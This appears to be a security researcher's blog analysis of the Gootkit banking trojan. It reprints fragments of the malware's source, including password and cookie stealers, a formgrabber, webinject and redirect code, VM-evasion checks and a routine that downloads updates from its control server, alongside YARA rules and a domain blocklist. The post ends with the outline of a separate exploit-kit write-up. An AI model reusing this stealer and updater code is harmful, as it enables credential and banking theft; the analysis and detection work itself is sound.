Let’s Learn: In-Depth Dive into Gootkit Banker Version 4 Malware Analysis

Goal: Analyze and reverse the Gootkit banking malware version 4 in depth.
Background: While reviewing several latest malware spam campaigns reported by multiplier researchers ranging from abusing legitimate email content services such as Mailchimp and Mailgun as reported by Derek Knight, I took a deeper into into malware analysis of the campaigns authored by the Gootkit cybercrime gang.

https://platform.twitter.com/widgets.js
Outline: 

I. Analysis
II. Malware Drop Sequence
III. Module Overview
IV. Registry Persistence
V. Yara: Main & Password Grabber Module 
VI. Domain Blocklist
VII. Appendix

I. Overview of Gootkit Banking Malware 
Gootkit is a modularized multi-functional Windows banking malware. The malware contains a rich functionality from webinject and Local Security Authority (LSA) grabber to Video Recorder and Mail Parser ones. Not only the gang is resourceful leveraging Node.js as the de-facto format for its functionality, they also borrow a lot of ideas from other malware variants. For example, in its “zeusfunctions,” the gang implements ZeuS-style URL mask parsing and matching visited websites; the gang also has a module called “grabPasswordsPony” meant to assist with credential recovery from compromised machines. Some of the malware oddities are its ability it various references to itself as “Gootkit” and their control domains mimicking fake “SSL” websites. The malware also contains their own Password Grabber “grabber.dll”

fs.writeFileSync(
tmpDirectory + "\\descr.txt",
"Uploaded by Gootkit :D",
"botid : ",
process.machineGuid,
"Date : ",
new Date().toUTCString(),
"Original filenames : ",
filenames.join("\r\n")

II. Malware drop sequence:
Main dropper (MD5: ba0f798acc31ff6984af91f235f5fac4) 
-> Node.js main loader binary (MD5: ba0f798acc31ff6984af91f235f5fac4)
-> “GrabPasswords” module (MD5: 1654b553a500ecf2f196216be458da05)
Export function: “GrabPasswords”

The decoded server configuration was as follows:

safenetssl[.]com|safenetssl[.]com|securesslweb[.]com

The main component is an exe code packaged via Node JavaScript bundle. The malware checks for the patterns “-test” and “-vwxyz.” 

A. Obfuscation
Main dropper is loaded in obfuscated form with strings encoded with XOR with round key. 
For example,

 for ( k = 0; k < sizeof(array_encoded); ++k )
_byteorder_func(&v264, k, *(&last_array_element + k % 5) ^ *(&first_array_elem + k));

To generate and decode the bot also leverages Mersenne Twister, a pseudorandom number generator (PRNG). 
B. The dropper creates a mutex thread “ServiceEntryPointThread
C. Anti-Analysis “vmx_detection”

The malware checks environment variable “crackmelolo” with series of checks and alters if its execution if not founds. Kaspersky Labs previous reported on “crackme.” Gootkit calls the anti-analysis routine as “vmx_detection.”
The key main function of “IsVirtualMachine” are as follows:

  • VmCheckGetDisksArray
  • VmCheckVitrualDisks
  • VmIsVirtualCPUPresent
  • IsVirtualMachine
unction IsVirtualMachine() {
//print('IsVirtualMachine >>> ');
var bIsVirtualMachine = false;
try{
var VMBioses = [
"AMI ",
"BOCHS",
"VBOX",
"QEMU",
"SMCI",
"INTEL - 6040000",
"FTNT-1",
"SONI"
];
var SystemBiosVersion =
(new reg.WindowsRegistry(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", KEY_READ, true)
.ReadString("SystemBiosVersion") || "hui").toString();
for (let i = 0; i < VMBioses.length; i++) {
if (SystemBiosVersion.toLowerCase().indexOf(VMBioses[i].toLowerCase()) !== -1) {
bIsVirtualMachine = true;
break;
}
}
var ideDev
ices = VmCheckGetDisksArray('SYSTEM\\CurrentControlSet\\Enum\\IDE');
var scsiDevices = VmCheckGetDisksArray('SYSTEM\\CurrentControlSet\\Enum\\SCSI');
if (bIsVirtualMachine === false) {
bIsVirtualMachine = (
VmCheckVitrualDisks(ideDevices.keys) ||
VmCheckVitrualDisks(scsiDevices.keys)
);
}
if (bIsVirtualMachine === false) {
bIsVirtualMachine = VmIsVirtualCPUPresent();
}
} catch (exc) {
}
return bIsVirtualMachine;

III. Modules and Functionality Overview
Gootkit is extremely rich containing various functions and modules:

  • API Hooker
  • Take Screenshot
  • Get Process List
  • Get Local Network Neighborhood
  • Get Local Users and Groups
  • LSA Grabber Credential
  • Browser Stealer
  • Cookie Grabber
  • Virtual Network Computing (VNC) Remote Controller
  • Keylogger
  • Formgrabber
  • HTTP/HTTPS Webinjector / Redirector
  • Video Recorder
  • Mail Parser
  • Proxy
const P_SPYWARE = 4;
process.PORT_REDIRECTION_BASE = PORT_REDIRECTION_BASE;
exports.SpInitialize = gootkit_spyware.SpInitialize;
exports.SpHookRecv = gootkit_spyware.SpHookRecv;
exports.SpHookSend = gootkit_spyware.SpHookSend;
exports.SpUnhookHttp = gootkit_spyware.SpUnhookHttp;
exports.SpTakeScreenshot = gootkit_spyware.SpTakeScreenshot;
exports.SpGetProcessList = gootkit_spyware.SpGetProcessList;
exports.SpGetLocalNetworkNeighborhood = gootkit_spyware.SpGetLocalNetworkNeighborhood;
exports.SpGetLocalUsersAndGroups = gootkit_spyware.SpGetLocalUsersAndGroups;
exports.SpLsaGrabCredentials = gootkit_spyware.SpLsaGrabCredentials;
exports.DbgGetModuleDebugInformation = gootkit_spyware.DbgGetModuleDebugInformation;
exports.DbgGetLoadedModulesList = gootkit_spyware.DbgGetLoadedModulesList;
exports.DnsCacheGetDomainByAddr = gootkit_spyware.DnsCacheGetDomainByAddr;
exports.downloadFileRight = gootkit_spyware.DownloadFileRight;
exports.SpAddPortRedirection = gootkit_spyware.SpAddPortRedirection;
exports.SpGetVendor = gootkit_spyware.SpGetVendor;
exports.SpGetFileWatermark = gootkit_spyware.SpGetFileWatermark;
exports.SpSetFileWatermark = gootkit_spyware.SpSetFileWatermark;
exports.ExLoadVncDllSpecifyBuffers = gootkit_spyware.ExLoadVncDllSpecifyBuffers;
exports.ModExecuteDll32 = gootkit_spyware.ModExecuteDll32;
module.exports.collectCromePasswords = collectCromePasswords;
module.exports.collectFirefoxPasswords = collectFirefoxPasswords;
module.exports.collectWindowsPasswords = collectWindowsPasswords;
module.exports.collectIeCookies = collectIeCookies;
module.exports.collectChromiumCookies = collectChromiumCookies;
module.exports.collectFireFoxCookies = collectFireFoxCookies;
module.exports.collectChromePackedProfile = collectChromePackedProfile;
module.exports.sendCookiesToStore = sendCookiesToStore;
module.exports.grabPasswordsPony = grabPasswordsPony;

V. The bot and spyware message
The bot harvester message is as follows:

message Bot {
    optional string processName = 1;
    optional string guid = 2;
    optional string vendor = 3;
    optional string os = 4;
    optional string ie = 5;
    optional string ver = 6;
    optional int32  uptime = 7;
    optional int32  upspeed = 8;
    optional string internalAddress = 9;
    optional string HomePath = 10;
    optional string ComputerName = 11;
    optional string SystemDrive = 12;
    optional string SystemRoot = 13;
    optional string UserDomain = 14;
    optional string UserName = 15;
    optional string UserProfile = 16;
    optional string LogonServer = 17;
    optional int64  freemem = 18;
    optional int64  totalmem = 19;
    optional NetworkInterfaces networkInterfaces = 20;
    optional string tmpdir = 21;
    repeated Processor cpus = 22;
    optional string hostname = 23;
    optional bool IsVirtualMachine = 24;
}

The bot settings are:

message BotSettings {
    optional int32 fgMaxDataSize = 1   [default = 65000];
    optional int32 fgMinDataSize = 2   [default = 0];
    optional bool fgCaptureGet = 3   [default = false];
    optional bool fgCapturePost = 4   [default = true];
    optional bool fgCaptureCookies = 5[default = false];
    repeated string fgBlackList = 6;
    repeated string fgWhiteList = 7;
    optional int32 netCcTimeout = 8    [default = 300000];
optional bool kgIsKeyloggerEnabled = 9[default = false];
}

The bot tasks message looks as follows:

message Tasks {
    message Settings {
        optional int32  pingTime = 1;
    }
    optional Settings  settings = 1;
    optional bytes     slch = 2;
    optional bytes     rbody32_hash = 3;
    optional bytes     rbody64_hash = 4;
    optional bytes     defaultjs_hash = 5;
}

The “spyware” config is as follows:

message SpywareConfig {
    repeated SpywareConfigEntry injects = 1;
    repeated VideoConfigEntry recorders = 2;
    repeated FragmentConfigEntry fragments = 3;
    repeated MailFilterEntry emailfilter = 4;
    repeated RedirectionEntry redirects = 5;
    repeated PostParamsRecorderEntry post2macros = 6;
    optional BotSettings settings = 7;
if(os.release().split('.')[0] === '5'){

process.g_malwareBodyRegistryPath = "SOFTWARE";

}else{

process.g_malwareBodyRegistryPath = "SOFTWARE\\AppDataLow";
process.g_malwareRegistryPath = "SOFTWARE\\cxsw";
process.g_malwareRegistryHive = HKEY_CURRENT_USER;
process.g_SpDefaultKey = "{da14b39e-535a-4b08-9d68-ba6d14fed630}";
process.g_SpPrivateKey = "{bed00948-29e2-4960-8f98-4bcd7c6b00a5}";

VI. Formgrabber

    process.formgrabber.options  = {

http : {
            grubGet : false,
grubPost : true

},

https : {
grubGet : true,
grubPost : true
}
}

var restrictedHosts = [

'www.google-analytics.com',
'counter.rambler.ru',
'rs.mail.ru',
'suggest.yandex.ru',
'clck.yandex.ru',
'plus.google.com',
'plus.googleapis.com',
's.youtube.com',
'urs.microsoft.com',
'safebrowsing-cache.google.com',
'safebrowsing.google.com',
'www.youtube.com'

var restrictedExtensions = [

'.png', '.jpg', '.jpeg', '.gif', '.bmp',
'.pcx', '.tiff', '.js', '.css', '.swf',
'.avi', '.mpg', '.aac', '.mp3', '.mov',
'.jar', '.cnt', '.scn', '.ico'

var restrictedSubstrings = [

'safebrowsing',
'.metric.gstatic.com',
'/complete/search'

process.formgrabber = {
    restrictedExtensions: restrictedExtensions,
restrictedHosts: restrictedHosts,
restrictedSubstrings: restrictedSubstrings,

dSubstrings: restrictedSubstrings,
options: {
http: {
grubGet: false,
grubPost: false
},
https: {

grubGet: false,
grubPost: false
}
}
exports.formgrabber = process.formgrabber;

IX. HTTP/HTTPS Webinjector

//------------------------------------------------

// -- http/https injects

//------------------------------------------------

function isInternalApiRequest(requestDesc){

if(requestDesc.location.indexOf('spinternalcall') !== -1){
return true;

}
return false;

function IsLocationLocked(location){

//trace("IsLocationLocked : '%s'", location);
if(!process.proxyServers){
return false;

}

if(!process.proxyServers.blockedAddresses){
return false;

}

for(let i = 0; i < process.proxyServers.blockedAddresses.length; i ++){
if (zeusfunctions.zeusSearchContentIndex(location,
process.proxyServers.blockedAddresses[i])

){
return true;
}

}

return false;

function ReqProcessFakes(clientRequest){

if(!clientRequest.headers['host']){
return false;

}
var host = clientRequest.headers['host'].split(':')[0];

if(process.proxyServers.fakes[host]){
clientRequest.fakeHost =
process.proxyServers.fakes[host];

return true;

}

return false;

function manageUserConnection(clientRequest, clientResponse, isSsl) {

clientRequest.isSSL = isSsl;
clientRequest.desc = createUrlDescriptionFromRequestObject(clientRequest);
clientRequest.id = getid();
if(isInternalApiRequest(clientRequest.desc)){
return require('internalapi').serve(clientRequest,

clientResponse);

}

if(IsLocationLocked(clientRequest.desc.location) === true){

return /*clientResponse.end();*/

/*

emulate browser

time-out error for now

*/

}

ReqProcessRedirects(clientRequest);
ReqProcessFakes(clientRequest);
http_injection_stream.IsContentModificationNeeded(clientRequest, function (bIsContentBufferingNeeded) {

let func = http_injection_stream.ThrottleRequestToBrowserDirect;

if(bIsContentBufferingNeeded){
func = http_injection_stream.ThrottleRequestToBrowserInjected;
}
func(clientRequest, clientResponse);
});


Web Redirection Code:

function ReqProcessRedirects(clientRequest){

let id = clientRequest.id;
/*

clientRequest.isRedirectionRuleTriggered - boolean
"redirects": [
{
"name": "yandex test",
"uri": "hxxps://yastatic[.]net",
"keyword": "wfjwe892njf902n3f",
"uripassword": "",
"datapassword": ""
}
]
hxxps://mail[.]ru/wfjwe892njf902n3f/share/cnt[.]share[.]js -> hxxps://yastatic[.]net/share/cnt[.]share[.]js

*/
if (util.isUndefined(clientRequest)) {
return false;
}
if (util.isUndefined(clientRequest.desc)) {
return false;
}
var murl = clientRequest.desc.location;
var method = clientRequest.desc.method.toUpperCase();
var bRedirectTriggered = false;
if (method !== 'GET' && method !== 'POST') {
rlog('ReqProcessRedirects', id, 'invalid method', method);
return false;
}

IV. Persistence settings in HKEY_CURRENT_USER:

if(os.release().split('.')[0] === '5'){

process.g_malwareBodyRegistryPath = "SOFTWARE";

}else{

process.g_malwareBodyRegistryPath = "SOFTWARE\\AppDataLow";
process.g_malwareRegistryPath = "SOFTWARE\\cxsw";
process.g_malwareRegistryHive = HKEY_CURRENT_USER;
process.g_SpDefaultKey = "{da14b39e-535a-4b08-9d68-ba6d14fed630}";
process.g_SpPrivateKey = "{bed00948-29e2-4960-8f98-4bcd7c6b00a5}";

V. Yara Rule:

rule crime_win32_gootkit_main_bin {

meta:

description = “Gootkit banking malware dropper binary”
author = “@VK_Intel”
reference = “Detects Gootkit main dropper”
date = “2018-04-10”
hash = “360744e8b41e903b59c37e4466af84b7defe404ec509eca828c9ecdfe878d74a”

strings:

$s0 = “\\SystemRoot\\system32\\mstsc.exe” fullword wide
$s1 = “RunPreSetupCommands = %s:2” fullword wide
$s2 = “AdvancedINF = 2.5, \”You need a new version of advpack.dll\”” fullword wide
$s3 = “/c ping localhost -n 4 & del /F /Q \”” fullword wide
$s4 = “” fullword ascii
$s7 = “.update\” \”” fullword wide
$s11 = “& move /Y \”” fullword wide
$s16 = “.update” fullword wide
$s19 = “signature = \”$CHICAGO$\”” fullword wide

condition:

uint16(0) == 0x5a4d and filesize < 474KB and all of them
}

rule crime_win32_gootkit_grab_password_module {

meta:
description = “Gootkit grabber.dll module”
author = “@VK_Intel”
reference = “Detects Gootkit Password Grabber Module”
date = “2018-04-13”
hash = “f523da4e7a54aa14f37b513097c1ac8e035365f9ab5a34a610b05572d61a5558”
strings:
$s0 = “grabber.dll” fullword wide
$s1 = “GrabPasswords” fullword wide
$s2 = “\”encryptedPassword\”:\”” fullword ascii
$s3 = “Pstorec.dll” fullword wide
$s4 = “fireFTPsites.dat” fullword wide
$s5 = “inetcomm server passwords” fullword wide
$s6 = “\”login\”:\”” fullword ascii
$s7 = “D:\\Account.CFN” fullword wide
$s8 = “outlook account manager passwords” fullword wide
$s9 = “SMTP_Password2” fullword wide

condition:

uint16(0) == 0x5a4d and filesize < 723KB and all of them
}

VI. Gootkit Domain Blocklist:
safenetssl[.]com
securesslweb[.]com
netsecuressl[.]com
securesslservice[.]com
secsslnetwork[.]com
sslnetsecurity[.]com

VII. Gootkit Appendix:

A. Global Certificate  
var global_cert = “—–BEGIN CERTIFICATE—–\r\nMIICtzCCAiCgAwIBAgJAwj/sQrLq6n+7nn9OSX0zzgGhP834SgLjlxQ96GHioum4\r\nj3w7bUQWVwUYjadfxZxt3S/xsss3zG5yJGJyFK64ATANBgkqhkiG9w0BAQUFADBC\r\nMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0ExFjAUBgNVBAoTDUdlb1RydXN0\r\nIEluYy4xCzAJBgNVBAYTAlVTMB4XDTE0MTEyNDE3MDkyOFoXDTE1MTEyNDE3MDky\r\nOFowaTEYMBYGA1UEAxMPbWFpbC5nb29nbGUuY29tMQswCQYDVQQGEwJVUzETMBEG\r\nA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzETMBEGA1UE\r\nChMKR29vZ2xlIEluYzCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAriq+HsPB\r\noe//EIGy7/aDCsS95UEbVBVeeYOe4OpeOOdy3hE48HADYFEKwMMu2PLh9q9bzNnx\r\naXpRY8Amdcp5Gk4jHJ5akXXGnasw67vE6udzmSay1WgU7jrhkTAbWuyzEIwuehJ7\r\n15awJBKWWw2luxpbLOaw7WSW08vLn3Rk8H0CAwEAAaNXMFUwNAYDVR0lAQH/BCow\r\nKAYIKwYBBQUHAwIGCCsGAQUFBwMEBggrBgEFBQcDAQYIKwYBBQUHAwMwHQYDVR0R\r\nAQH/BBMwEYIPbWFpbC5nb29nbGUuY29tMA0GCSqGSIb3DQEBBQUAA4GBAH4Erwf9\r\nmw+RbSX4MKEppUzs+q7UumC8Z9p+7K3Pnl+xLY6ZW4tHEYLjJqcKGY2a+F4kDW6A\r\nhoyBr+qHJO9aXmoAbAHgHteS27kzWIulh1u6oHGFqHFXDTQKERdckn5MkqF3L+6h\r\nbMEpXkJNLOj2JWzfrUP+ZhVZy78VUEiqr/cY\r\n—–END CERTIFICATE—–\r\n”;
B. Gootkit Global RSA Key
var global_key = “—–BEGIN RSA PRIVATE KEY—–\nMIICXQIBAAKBgQCuKr4ew8Gh7/8QgbLv9oMKxL3lQRtUFV55g57g6l4453LeETjw\r\ncANgUQrAwy7Y8uH2r1vM2fFpelFjwCZ1ynkaTiMcnlqRdcadqzDru8Tq53OZJrLV\r\naBTuOuGRMBta7LMQjC56EnvXlrAkEpZbDaW7Glss5rDtZJbTy8ufdGTwfQIDAQAB\r\nAoGASUSt6l9LrAY8dQM69XvssLEHedQj3QGIVvIp+lBeBu5HAmiYXX2hzfkJ3wG9\r\nSYMT0CUBJ3Jf/pF4f9Ar3c2pl9bzN7MY9mmHMUfDl3heCb5NgMBIpu+1R7MKuLsT\r\nQ7aATQd4TIcmPBLX3J+p4G4xY6H55he+8PhZieata2g5XsECQQDnaeGns23X/4h3\r\n4DNyJu174JTEgc1D+rImHPsYcA98qR7G0wyg3E33CFbt+OdtTS1pEKwMAaKJ/qu+\r\n8TpPAeuFAkEAwKvVrMDKRGGHkd7LYPviJ6re9xR+3Iv37ELHGlyoeucXV423sgnh\r\nwE3BhaS2RtX25xOk7Bg63vQsSElMv0bWmQJBAMK+aBgo95d+g+nd022NNO264Xc9\r\nhPBgWOuaF/VI2L+
f0zafBVGaFEJ/0igR/zAMctqoHSE9fvuCRiY5+0fh5cECQATs\r\nn2Jx7vl+cKOWySXqaiZPZLF18aQbY7PDJSmUUq4Jd/xB3/8J554tnpOW2R3IXC4d\r\nv2pVWDPYk8UpMm/1FIkCQQDI3gm7JNJqydrLP3plplfFB6hq3yxM1UG4Po+iCych\r\n3/vPHarkJzs3Gl6lH/lxK31gl8UEaF6DLGn8HFO+nzDc\r\n—–END RSA PRIVATE KEY—–“;
process.tls = {
    ciphers: ‘ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-RSA-DES-CBC3-SHA:ECDHE-ECDSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA’,
    method : ‘TLSv1_method’

C. LSA Grabber Message:

message LsaAuth {
     optional string UserName = 1;
     optional string UserDomain = 2;
     optional string UserPassword = 3;
}
message MailMessage {
     optional string html = 1;
     optional string text = 2;
     optional string subject = 3;
     optional string messageId = 4;
     optional string inReplyTo = 5;
     optional string priority = 6;
     optional string from = 7;
     optional string to = 8;
     optional string date = 9;
     optional string receivedDate = 10;
     optional string headers = 11;
     optional bool isDeletedByMailware = 12;
}
message LogLine {
     optional string logstr = 1;
}

message KeyloggerReport {

optional string keystroke = 1;
optional string windowName = 2;
optional string processPath = 3;
}

message WindowChangeEventMessage {

optional int32 localTimeDate = 1;
optional string windowName = 2;
optional string processPath = 3;
}

message SecureDeviceEventLog {

optional int32 localTimeDate = 1;
optional string deviceName = 2;
optional string eventName = 3;
optional string lastWindowName = 4;
optional string lastProcessPath = 5;
}

D. Command Execution Message:

message CommandExecutionRequest {
optional string process = 1;
optional string command = 2;
}

E. File Upload Message:

message FileUpload {
    optional string filename = 1;
    optional bytes  content = 2;
}

message FileAttribues {

    optional string name = 1;
    optional string realname = 2;
    optional bool isFile = 3;
    optional bool isDirectory = 4;
    optional bool isBlockDevice = 5;
    optional bool isSymbolicLink = 6;
    optional int64 size = 7;
    optional int64 ctime = 8;
    optional int64 atime = 9;
}

message DirectoryListing{

    repeated FileAttribues files = 1;
}

F. Bot Config Message:

message RedirectionEntry {
    optional string name = 1;
    optional string uri = 2;
    optional string keyword = 3;
    optional string uripassword = 4;
    optional string datapassword = 5;
}

message ProcessModule {

optional string szExePath = 1;
optional uint32 GlblcntUsage = 2;
optional uint64 hModule = 3;
optional uint64 modBaseAddr = 4;
optional uint64 modBaseSize = 5;
optional uint32 ProccntUsage = 6;
optional uint32 pcPriClassBase = 7;
optional uint32 dwFlags = 8;
optional string szModule = 9;
optional uint32 th32ModuleID = 10;
optional uint32 th32ProcessID = 11;
}

message Process {

optional string szExeFile = 1;
optional uint32 cntUsage = 2;
optional uint32 th32ProcessID = 3;
optional uint32 th32ModuleID = 4;
optional uint32 cntThreads = 5;
optional uint32 th32ParentProcessID = 6;
optional uint32 pcPriClassBase = 7;
optional uint32 dwFlags = 8;
optional bool owned = 9;
repeated ProcessModule modules = 10;
}

message ProcessList {

  repeated Process Processes = 1;
}

message BaseEntryBlock  {

repeated string url = 1;
optional bool enabled = 2           [default = true];
repeated string guids = 3;
optional bool filt_get = 4          [default = true];
optional bool filt_post = 5         [default = true]; 
}

message SpywareConfigEntry {

    required BaseEntryBlock base = 1;
    optional string data_before = 2;
    optional string data_inject = 3;
    optional string data_after = 4;
    repeated string stoplist = 5;
}

message VideoConfigEntry {

required BaseEntryBlock base = 1;

optional bool grayScale = 2         [default = true];

optional int32 framerate = 3        [default = 5];
optional int32 seconds = 4          [default = 30];
optional string filenameMask = 5;
optional bool uploadAfterRecord = 6 [default = true];
optional string hashkey = 7;
repeated string stoplist = 8;
}

message FragmentConfigEntry {

    required BaseEntryBlock base = 1;

    optional string from = 2;

    optional string to = 3;
optional string varname = 4 [default = ”];
}


message MailFilterEntry {

optional string from = 1;
optional string to = 2;
optional string subject = 3;
optional string body = 4;
}

message PostParamsRecorderEntry {

required BaseEntryBlock base = 1;
optional string paramname = 2;
optional string macrosname = 3;
}

message BotSettings {

    optional int32 fgMaxDataSize = 1   [default = 65000];
    optional int32 fgMinDataSize = 2   [default = 0];
    optional bool fgCaptureGet = 3   [default = false];
    optional bool fgCapturePost = 4   [default = true];
    optional bool fgCaptureCookies = 5[default = false];
    repeated string fgBlackList = 6;
    repeated string fgWhiteList = 7;
    optional int32 netCcTimeout = 8    [default = 300000];

optional bool kgIsKeyloggerEnabled = 9[default = false];

}

message SpywareConfig {

    repeated SpywareConfigEntry injects = 1;
    repeated VideoConfigEntry recorders = 2;
    repeated FragmentConfigEntry fragments = 3;
    repeated MailFilterEntry emailfilter = 4;
    repeated RedirectionEntry redirects = 5;
    repeated PostParamsRecorderEntry post2macros = 6;
    optional BotSettings settings = 7;
}


G. Bot Message Buffer
message AdapterAddress {
    optional string address = 1;
    optional string netmask = 2;
    optional string family = 3;
    optional string mac = 4;
    optional int32 scopeid = 5;
    optional bool internal = 6;
}

message NetworkInterface {
    optional string connectionName = 1;
    repeated AdapterAddress adresses = 2;
}

message NetworkInterfaces {
    repeated NetworkInterface Interfaces = 1;
}

message Processor {
    optional string model = 1;
    optional int32 speed = 2;
}

message Bot {
    optional string processName = 1;
    optional string guid = 2;
    optional string vendor = 3;
    optional string os = 4;
    optional string ie = 5;
    optional string ver = 6;
    optional int32  uptime = 7;
    optional int32  upspeed = 8;
    optional string internalAddress = 9;
    optional string HomePath = 10;
    optional string ComputerName = 11;
    optional string SystemDrive = 12;
    optional string SystemRoot = 13;
    optional string UserDomain = 14;
    optional string UserName = 15;
    optional string UserProfile = 16;
    optional string LogonServer = 17;
    optional int64  freemem = 18;
    optional int64  totalmem = 19;
    optional NetworkInterfaces networkInterfaces = 20;
    optional string tmpdir = 21;
    repeated Processor cpus = 22;
    optional string hostname = 23;
    optional bool IsVirtualMachine = 24;
}

message Tasks {

    message Settings {
        optional int32  pingTime = 1;
    }
    
    optional Settings  settings = 1;
    optional bytes     slch = 2;
    optional bytes     rbody32_hash = 3;
    optional bytes     rbody64_hash = 4;
    optional bytes     defaultjs_hash = 5;
}
message BodyUpdate {
  optional int32 platform = 1;
  optional bytes newbody = 2;
}

H. Formgrabber Buffer
message Form {
optional string method = 1;
optional string source = 2;
optional string location = 3;
optional string referer = 4;
optional bool isSsl = 5;
optional string rawHeaders = 6;
optional bytes postData = 7;
optional string protocol = 8;
optional bool isCertificateUsed = 9;
optional bool isLuhnTestPassed = 10;
optional string remoteAddress = 11;
}

message GrabbedPageFragment {
    optional string url = 1;
    optional string from = 2;
    optional string to = 3;
    optional string fragmentText = 4;
    optional string source = 5;
}

IX. FileUpload Buffer
message FileUpload {
    optional string filename = 1;
    optional bytes  content = 2;
}

message FileAttribues {
    optional string name = 1;
    optional string realname = 2;
    optional bool isFile = 3;
    optional bool isDirectory = 4;
    optional bool isBlockDevice = 5;
    optional bool isSymbolicLink = 6;
    optional int64 size = 7;
    optional int64 ctime = 8;
    optional int64 atime = 9;
}

message DirectoryListing{
    repeated FileAttribues files = 1;
}

I. Local Variable Message

message LocalVar {
optional string name = 1;
optional string value = 2;
}

message LocalVarsList {
repeated LocalVar vars = 1;
optional int32 timestamp = 2;
}

J. SpCollectPasswords

function SpCollectPasswords(query, response, request) {
    let result = [];
    let last_timeout = 0;
    let isConnectionClosed = false;
    function resetAutoendTimeout() {
        if (last_timeout !== 0) {
            clearTimeout(last_timeout);
        }
        last_timeout = setTimeout(function () {
            isConnectionClosed = true;
            response.end();
        }, 20000);
    }
    saved_creds.collectWindowsPasswords(function (item) {
        if (isConnectionClosed === false){
            response.write(JSON.stringify({
                type : ‘windows’,
                username : item.username_value,
                url : item.origin_url,
                password : item.password_value
            }));
        }
    });
    saved_creds.collectCromePasswords(function (item) {
        if (isConnectionClosed === false) {
            response.write(JSON.stringify({
                type: ‘chrome’,
                username: item.username_value,
                url: item.origin_url,
                password: item.password_value
            }));
        }
    });

K. grabPasswordsPony

function grabPasswordsPony() {
    pstorage.getPasswordsFromGrabber(function (error, result) {
        if (result.length > 1) {
            result = result.split(‘\n’).map(function (line) {
                return line.trim().split(‘|’);
            }).forEach(function (password_entry) {
                if (password_entry.length === 4) {
                    spyware.SendAuthInformationPacket(
                        password_entry[2],
                        ‘(‘ + password_entry[0] + ‘) ‘ + password_entry[1],
                        password_entry[3] 
                    );
                } else if (password_entry.length === 5) {
                    spyware.SendAuthInformationPacket(
                        password_entry[3],
                        ‘(‘ + password_entry[0] + ‘) ‘ + password_entry[2],
                        password_entry[4]
                    );
                } else {
                    process.log(‘UNABLE_PARSE_PASSWORD : ‘, password_entry.join(‘|’));
                }
            });
       
L. GetCCType

function GetCCType(cc_num) {
    var type = 0;
    if (cc_num.charAt(0) == ‘4’ && (cc_num.length == 16 || cc_num.length == 13))
        type = 1;
    else if (cc_num.charAt(0) == ‘5’ && cc_num.length == 16)
        type = 2;
    else if (cc_num.charAt(0) == ‘3’ && (cc_num.charAt(1) == ‘4’ || cc_num.charAt(1) == ‘7’) && cc_num.length == 15)
        type = 3;
    else if (cc_num.charAt(0) == ‘6’ && cc_num.charAt(1) == ‘0’ && cc_num.charAt(2) == ‘1’ && cc_num.charAt(3) == ‘1’ && cc_num.length == 16)
        type = 4; 
    return type;

M. luhnChk

function luhnChk(luhnstr) {
    try {
        var luhn = luhnstr.replace(/[^0-9]/g, ”);
        var len = luhn.length,
            mul = 0,
            prodArr = [
                [0, 1, 2, 3, 4, 5, 6, 7, 8, 9],
                [0, 2, 4, 6, 8, 1, 3, 5, 7, 9]
            ],
            sum = 0;
        
        if (len != 16 || ((luhn.length – len) >= 6)) {
            return false;
        }
        if (GetCCType(luhn) == 0) {
            return false;
        }
        if (calculateAlphabetSize(luhn).length < 5) {
            return false;
        }
        while (len–) {
            sum += prodArr[mul][parseInt(luhn.charAt(len), 10)];
            mul ^= 1;
        }
        return sum % 10 === 0 && sum > 0;
    } catch (exception) {
        console.error(exception)
        return false;
    }

N. downloadUpdate

function downloadUpdate(serverHost, callback){
    var arch = { ‘ia32’ : 32, ‘x64’ : 64 };
    var updateLink = util.format(“https://%s:80/rbody%d&#8221;, serverHost, arch[process.arch]);
    gootkit_spyware.DownloadFileRight(updateLink, function(error, fileBuffer){
        callback(error, fileBuffer);
    });
    
O. fpatchIETabs

function fpatchIETabs(){
    var reg = process.binding(“registry”);
    var x = new reg.WindowsRegistry(
HKEY_CURRENT_USER,
“Software\\Microsoft\\Internet Explorer\\Main”, KEY_WRITE, true
    x.WriteDword(“TabProcGrowth”, 1);
exports.run = function (iter) {       

    console.log(“RUN : %s, ver : %s”, process.currentBinary, process.g_botId);

Let’s Learn: In-Depth Reversing of GrandSoft Exploit Kit PluginDetect Version "0.9.1" and Its VBScript Memory Corruption CVE-2016-0189 Exploit

Goal: Reverse in-depth one of the latest GrandSoft Exploit Kit (EK) landing page and its VBScript Memory Corruption CVE-2016-0189 exploit.

Background:
After analyzing one of the latest BlackTDS traffic redirection leading to GrandSoft EK, I decided to dive deeper into its landing page, observed exploit, and delivery mechanism. GrandSoft EK is being run by one Russian-speaking developer who promotes privately it under the name “GrandSoft Private Exploit Kit.” Largely, the EK is not available on commercial underground markets due to the developer ban for previous customer infractions.
Researcher Jerome Segura recently did an extensive in-depth study covering exploit kits under the title “Exploit kits: Winter 2018 review” for MalwareBytes. The study refers to the GrandSoft EK exploit that is discussed below in the blog.

Outline:

I.  Network Collector Module
I. Internals of GrandSoft Landing Page: Main loop
II. “PluginDetect” version
III. detectPlatform
IV. browser
V. addPlugin
VI. Exploit VBS CVE-2016-0189 payload 
VII. Traffic chain
VIII. Snort Rule

